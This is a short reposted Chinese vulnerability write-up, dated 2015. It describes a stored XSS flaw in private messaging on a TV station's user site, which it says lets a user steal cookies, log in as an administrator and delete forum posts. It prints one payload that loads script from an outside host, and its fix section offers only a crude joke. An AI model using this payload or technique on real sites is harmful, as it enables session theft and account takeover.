鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

利用xss任意删除处理某卫视论坛帖子

来源:互联网 作者:佚名 时间:2015-10-19 08:43
一般情况下论坛删帖是要给钱的。对是要给钱的。但是我删帖是免费的。想删那个 删那个。没事可以天天删 详细说明:http://i.jstv.com/ 当注册号用户进去了以后可以给另外一个用户发送信息。发送信息的时候没有任何过滤。可以导致直接接受另外一个用户的cookie
一般情况下论坛删帖是要给钱的。对是要给钱的。但是我删帖是免费的。想删那个 删那个。没事可以天天删
详细说明:http://i.jstv.com/ 当注册号用户进去了以后可以给另外一个用户发送信息。发送信息的时候没有任何过滤。可以导致直接接受另外一个用户的cookie 然后登陆管理员。开始删帖。想删多少删多少 插入JS代码的语句
 
<img src=x onerror=document.body.appendChild(createElement('script')).src='http://126.am/XSS'> 
 

 
修复方案:

求礼物。求小姐 
 
网友评论
<